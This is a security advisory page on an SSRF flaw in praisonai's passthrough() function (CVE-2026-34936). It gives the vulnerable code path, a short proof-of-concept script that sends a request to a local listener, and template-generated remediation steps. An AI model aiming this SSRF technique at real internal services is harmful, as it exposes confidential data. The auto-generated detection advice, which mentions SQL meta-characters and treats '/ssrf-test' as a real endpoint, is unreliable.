Categories
CVE-2026-34936 high CVSS 7.7

SSRF (Server-Side Request Forgery) in praisonai (CVE-2026-34936)

Summary

SSRF in praisonai (CVE-2026-34936). Confidential information can be exposed externally. Exploitable via GET /ssrf-test. Mitigation: upgrade to 4.5.90 or later.

Original description

The description as published by the source.

Summary

passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

Details

passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink)

# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request
    response = client.request(method, url=url, ...)

PoC

# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-34936 has been found in praisonai.
Attackers can target a specific entry point like GET /ssrf-test over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 7.7/10.
What to do: upgrade praisonai to 4.5.90 or later.
If unsure, ask your IT team or search "praisonai CVE-2026-34936" on the vendor's site.

CVE-2026-34936 (praisonai) — CWE-918 / CVSS v3 7.7
Attack vector: remote (network-reachable) / no user interaction
Attack surface: GET /ssrf-test / praisonai / api_base / endpoint
Patched: 4.5.90 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

SSRF (CWE-918) exists in praisonai. Attackers reach the vulnerable code path via GET /ssrf-test.

📍 Affected scope

Check the vendor advisory for the affected versions of praisonai. Attack surface: GET /ssrf-test / praisonai / api_base / endpoint.

🔥 Severity

Severity: High (CVSS 7.7/10). Confidential information can be exposed externally.

🔧 How to fix

Update to 4.5.90.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual GET /ssrf-test requests with malformed payloads or SQL meta-characters. Run grep -r 'praisonai' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'praisonai' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で praisonai を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Hunt for indicators of compromise detect
    grep 'GET /ssrf-test' /var/log/nginx/access.log | grep -E '(unusual_payload|sqli_pattern)'

    アクセスログで GET /ssrf-test への異常なリクエスト (不正な認証ヘッダ・SQLメタ文字)を過去 30〜90日分捜索。WAF/SIEM があれば該当パスのアラート発火履歴を確認。

  3. 3
    Apply patch patch
    Upgrade praisonai to 4.5.90

    ステージング環境で 4.5.90 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 2 で見つけた異常検知の続報チェックを含めること。

  4. 4
    Post-deployment verification verify
    Replay attack against GET /ssrf-test on staging to confirm patch closes the vector

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 2 と同じログクエリでアラート再発が無いか継続監視。

Affected packages

PyPI praisonai
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.90"}]}]

References

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